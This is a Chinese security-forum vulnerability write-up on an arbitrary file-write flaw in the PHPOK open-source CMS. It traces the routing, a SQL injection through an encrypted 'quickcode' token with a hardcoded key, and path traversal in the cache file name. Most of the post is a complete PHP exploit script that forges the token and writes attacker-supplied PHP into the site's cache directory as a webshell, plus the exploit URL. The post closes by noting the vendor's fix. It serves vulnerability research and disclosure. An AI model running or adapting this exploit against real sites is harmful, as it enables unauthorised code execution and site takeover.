问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某开源系统文件写入漏洞分析
漏洞分析
0x01 路由分析 网站有三个入口(前端,接口,后台)都是从framework/_init_phpok.php这里执行,进行初始化处理 我们以action\_admin为例,$ctrl和$func分别通过get请求中的c和f获取,默认值为i...
0x01 路由分析 ========= 网站有三个入口(前端,接口,后台)都是从`framework/_init_phpok.php`这里执行,进行初始化处理 ![image-20230526154045135](https://shs3.b.qianxin.com/butian_public/f7227297e5c10b0c63e8f35b08443180af5a8718851e6.jpg) 我们以`action\_admin`为例,`$ctrl`和`$func`分别通过get请求中的`c`和`f`获取,默认值为`index` ![image-20230529160707735](https://shs3.b.qianxin.com/butian_public/f234370b68049d3a37e97cc0c64ac0c3e44691370ae06.jpg) 然后在`_action_phpok4`中调用相关的控制器和方法,例如访问`http://127.0.0.1/admin.php?c=appsys&f=create`就会调用`framework\admin\appsys_control.php`中的`create_f`方法 ![image-20230529161031587](https://shs3.b.qianxin.com/butian_public/f521636c6bbdef2889eee0a143934a1b0f2de3383f3b8.jpg) 0x02 漏洞分析 ========= 漏洞存在文件:`framework/admin/login_control.php`中的`update_f`,这个方法的最后调用了`vim`函数, ![image-20230525105643344](https://shs3.b.qianxin.com/butian_public/f887809b9da55fd9bcfc4498f38d914c7c427415839ac.jpg) 查看`vim`可以看到他传入的两个分别是写入的内容和文件名,从而实现任意文件写入 ![image-20230525105953478](https://shs3.b.qianxin.com/butian_public/f15437494e7b3abf12e092e3ccaa5561a9575e8d36af5.jpg) 这里的第二个参数`$this->dir_cache.$fid.'-'.$fcode.'.php'`中,`$fid`和`$fcode`都是可控参数,可以直接通过get获取到 ![image-20230525112839582](https://shs3.b.qianxin.com/butian_public/f6760084ef916ecae3c10e588d6bcf3b224e32e281214.jpg) 接下来看第一个参数`$data`,`framework/libs/json.php`中的`encode`方法是将数据转换成json数据,这里不用太多关注,向上追踪查看`$data`是否可控 ![image-20230525113450930](https://shs3.b.qianxin.com/butian_public/f311869df18fb9f51717d151a65abc112a957bdae324b.jpg) 可以看到这里的`$data`是通过`$rs['id']`,`$rs['account']`和时间戳组成,继续追踪`$rs` ![image-20230525114004091](https://shs3.b.qianxin.com/butian_public/f345502c76eec99d6eb5752cddee9cd82ab19c4979769.jpg) 这里的`$rs`有两种赋值方式: 当没有传入`quickcode`参数时,需要传入`user`和`pass`,然后将`user`带入数据库查询相关信息并验证账号密码是否正确,但是,由于这里传入的时明文,尖括号,引号等特殊字符会被进行编码过滤,所以这里进行sql注入或者写入shell。 ![image-20230525115626529](https://shs3.b.qianxin.com/butian_public/f21497876941a1f07a2318ad88681609e2544d201d426.jpg) 所以我们来看第二种情况,当传入`quickcode`参数时,首先会对其进行解码得到`$msg`,然后将`$msg['id']`带入数据库查询相关信息得到`$rs`,而且这里只是验证了查询出的用户名是否和传入的用户名一致。最重要的一点是,由于传入的字符时加密过后的,所以解密后的内容不会被过滤编码,可以顺利构造payload进行sql注入。 ![image-20230526141615586](https://shs3.b.qianxin.com/butian_public/f221082acb1873405df161f7c0a04771a74f48f192bd4.jpg) 所以这里我们需要解决的就是使得`$rs['id']`,`$rs['account']`可控 由于`get_one()`方法是通过id拼接sql语句进行查询的 ![image-20230526141936234](https://shs3.b.qianxin.com/butian_public/f2186935c8d2dbb7d9755523b75fd597539467805e15c.jpg) 所以我们可以通过 `$msg['id']`等于`-2'union select '<?php echo "test_vuln";?>',2,3,4,5,6,7,8,9,10,11#` ![image-20230526142411317](https://shs3.b.qianxin.com/butian_public/f612904536cb03e917e5e132c41cada49a57f63712ba6.jpg) `$msg['user']`等于`2`与上面sql注入的第二列一致以使得下面if判断`$rs['account'] != $msg['user']`不成立 `$msg['domain']`等于目标域名使得`$msg['domain'] != $domain`不成立 `$msg['time']`等于当前时间使得数据不超过30天 接下来这里主要来看看其时如何进行加密解密的,以便后续我编写加密脚本。 根据`$msg = $this->lib('token')->decode($quickcode);`我们查看`framework/libs/token.php`这个文件的`decode`方法 ![image-20230525160032292](https://shs3.b.qianxin.com/butian_public/f137770523ca2f89690b61a6339cae07f396d40a88485.jpg) 同时可以发现有加密和解密的函数,是一个对称加密,所以我们需要寻找加密的密钥 ![image-20230525160045013](https://shs3.b.qianxin.com/butian_public/f718969156cd6bcd22ac017b7ec988ba04c910844a7c0.jpg) 查看解密密钥解密密钥是`$this->dir_cache.$fid.'.php'`的md5值 ![image-20230526094959220](https://shs3.b.qianxin.com/butian_public/f445489ba244a1e622338a99153752c80d94743051f24.jpg) ![image-20230526095136013](https://shs3.b.qianxin.com/butian_public/f342413433a0ee79511bb35c255439aa5935e2f799768.jpg) 即`api.php`的md5值,为`fb0b413b67dad231a42a6cd8facd5202` ![image-20230526095253062](https://shs3.b.qianxin.com/butian_public/f956813c7966cc4064bf2d00d7539c43cb5cfdb91bcfb.jpg) 所以我们删除加密函数的部分剩下直接照搬复制粘贴写exp(注意直接替换keyid为fb0b413b67dad231a42a6cd8facd5202) ```php <?php class token_lib { private $keyid = ''; private $keyc_length = 6; private $keya; private $keyb; private $time; private $expiry = 3600; private $encode_type = 'api_code'; //仅支持 api_code 和 public_key private $public_key = ''; private $private_key = ''; public function __construct() { $this->time = time(); } public function etype($type="") { if($type && in_array($type,array('api_code','public_key'))){ $this->encode_type = $type; } return $this->encode_type; } public function public_key($key='') { if($key){ $this->public_key = $key; } return $this->public_key; } public function private_key($key='') { if($key){ $this->private_key = $key; } return $this->private_key; } /** * 自定义密钥 * @参数 $keyid 密钥内容 **/ public function keyid($keyid='a') { if(!$keyid){ return $this->keyid; } $this->keyid = "fb0b413b67dad231a42a6cd8facd5202"; $this->config(); return $this->keyid; } private function config() { if(!$this->keyid){ return false; } $this->keya = md5(substr($this->keyid, 0, 16)); $this->keyb = md5(substr($this->keyid, 16, 16)); } /** * 设置超时 * @参数 $time 超时时间,单位是秒 **/ public function expiry($time=0) { if($time && $time > 0){ $this->expiry = $time; } return $this->expiry; } /** * 加密数据 * @参数 $string 要加密的数据,数组或字符 **/ public function encode($string) { if($this->encode_type == 'public_key'){ return $this->encode_rsa($string); } if(!$this->keyid){ return false; } $string = json_encode($string,JSON_UNESCAPED_UNICODE); $expiry_time = $this->expiry ? $this->expiry : 365*24*3600; $string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string; $keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length); $cryptkey = $this->keya.md5($this->keya.$keyc); $rs = $this->core($string,$cryptkey); return $keyc.str_replace('=', '', base64_encode($rs)); } /** * 基于公钥加密 **/ private function encode_rsa($string) { if(!$this->public_key){ return false; } $string = json_encode($string,JSON_UNESCAPED_UNICODE); openssl_public_encrypt($string,$data,$this->public_key); return base64_encode($data); } private function core($string,$cryptkey) { $key_length = strlen($cryptkey); $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); // 产生密匙簿 for($i = 0; $i <= 255; $i++){ $rndkey[$i] = ord($cryptkey[$i % $key_length]); } // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度 for($j = $i = 0; $i < 256; $i++){ $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } // 核心加解密部分 for($a = $j = $i = 0; $i < $string_length; $i++){ $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } return $result; } } function exploit($url, $filename, $code){ $data = array( 'id' => "-2'union select '$code',2,3,4,5,6,7,8,9,10,11#", 'user' => 2, 'time' => time(), 'domain' => '127.0.0.1' ); $token = new token_lib(); $token->keyid("aa"); $quickcode = $token->encode($data); echo $quickcode; echo "<br/><br/>"; $html = file_get_contents($url . "admin.php?c=login&f=update&fid=../api&fcode=/../_cache/$filename&quickcode=" . $quickcode); if (stripos($html, "success") !== False) { print "Success,webshell: " . "$url" . "_cache/$filename.php\n"; } else { print "Error"; } } exploit("http://127.0.0.1/", "vul", '<?php echo "test_vuln";?>'); ``` 运行此exp会得到`$quickcode`的值,并将其带入到url里执行 ```php http://127.0.0.1/admin.php?c=login&f=updatehttp://127.0.0.1/admin.php?c=login&f=update&fid=../api&fcode=/../_cache/vul&quickcode=quickcode ``` ![image-20230526144502996](https://shs3.b.qianxin.com/butian_public/f7585212c5469ce33d181b98305c09bb89295d6a6faf5.jpg) 成功写入到`/_cache/vul.php` ![image-20230526143257924](https://shs3.b.qianxin.com/butian_public/f782745af5657e40b546ee1b074197f6db5c57d484885.jpg) 在最新版本中已修复该漏洞,修复方式就是将`vim`改成`vi`,在`vi`中会在最前面添加`if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}`即使后面有php代码也不会执行。 ![image-20230530185213979](https://shs3.b.qianxin.com/butian_public/f526652524aad9f9aee40a6bff014d8ae37671b37e443.jpg)
发表于 2023-06-02 10:36:53
阅读 ( 5485 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
中铁13层打工人
72 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!